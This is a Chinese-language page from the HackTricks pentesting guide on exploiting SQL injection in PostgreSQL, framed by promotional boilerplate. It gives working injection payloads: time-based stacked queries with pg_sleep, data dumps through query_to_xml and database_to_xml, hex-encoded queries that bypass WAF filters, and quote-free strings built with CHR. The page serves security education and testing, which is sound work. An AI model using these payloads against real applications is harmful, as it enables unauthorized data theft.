.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
PostgreSQL注入
从零到英雄学习AWS黑客攻击,通过 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter上关注我 🐦 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
Bug bounty小贴士:注册 Intigriti,一个由黑客创建的高级bug赏金平台!今天就加入我们https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
本页面旨在解释不同的技巧,这些技巧可以帮助您利用在postgresql数据库中发现的SQL注入,并补充您可以在 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md 上找到的技巧
网络交互 - 权限提升、端口扫描、NTLM挑战响应泄露和数据泄露
dblink
是一个PostgreSQL模块,从攻击者的角度来看提供了几个有趣的选项。它可以用来连接到其他PostgreSQL实例或执行TCP连接。
这些功能连同**COPY FROM
功能可以用来提升权限**、执行端口扫描或获取NTLM挑战响应。
您可以在这里阅读如何执行这些攻击。
使用dblink和大对象的数据泄露示例
您可以阅读这个示例来看一个CTF示例,如何将数据加载到大对象中,然后在dblink_connect
函数的用户名中泄露大对象的内容。
PostgreSQL攻击:读/写、RCE、权限提升
查看如何从PostgreSQL入侵主机并提升权限:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF绕过
PostgreSQL字符串函数
操作字符串可以帮助您绕过WAF或其他限制。
在这个页面 您可以找到一些有用的字符串函数。
堆叠查询
请记住,postgresql支持堆叠查询,但如果在期望只有一个响应时返回了两个响应,许多应用程序会抛出错误。但是,您仍然可以通过时间注入来滥用堆叠查询:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML 技巧
query_to_xml
此函数将以 XML 格式返回所有数据,仅在一个文件中。如果您想在仅1行中转储大量数据,这是理想的选择:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
此函数将以 XML 格式将整个数据库转储到仅 1 行中(如果数据库非常大,请小心,因为您可能会对其进行 DoS 攻击,甚至可能对您自己的客户端造成影响):
SELECT database_to_xml(true,true,'');
十六进制字符串
如果您可以通过字符串运行查询(例如使用**query_to_xml
**函数)。您可以使用convert_from将字符串作为十六进制传递,以此方式绕过过滤器:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
禁止使用引号
如果您的有效载荷不能使用引号,您可以使用CHR
来绕过这个限制,用于基本子句(字符连接仅适用于基本查询,如SELECT, INSERT, DELETE等。它不适用于所有SQL语句):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
或使用 $
。这些查询返回相同的结果:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Bug bounty tip: 注册 Intigriti,一个由黑客创建,为黑客服务的优质bug bounty平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
- 如果您想在 HackTricks上看到您的公司广告 或 下载HackTricks的PDF,请查看 订阅计划!
- 获取 官方PEASS & HackTricks商品
- 发现 PEASS家族,我们独家的 NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。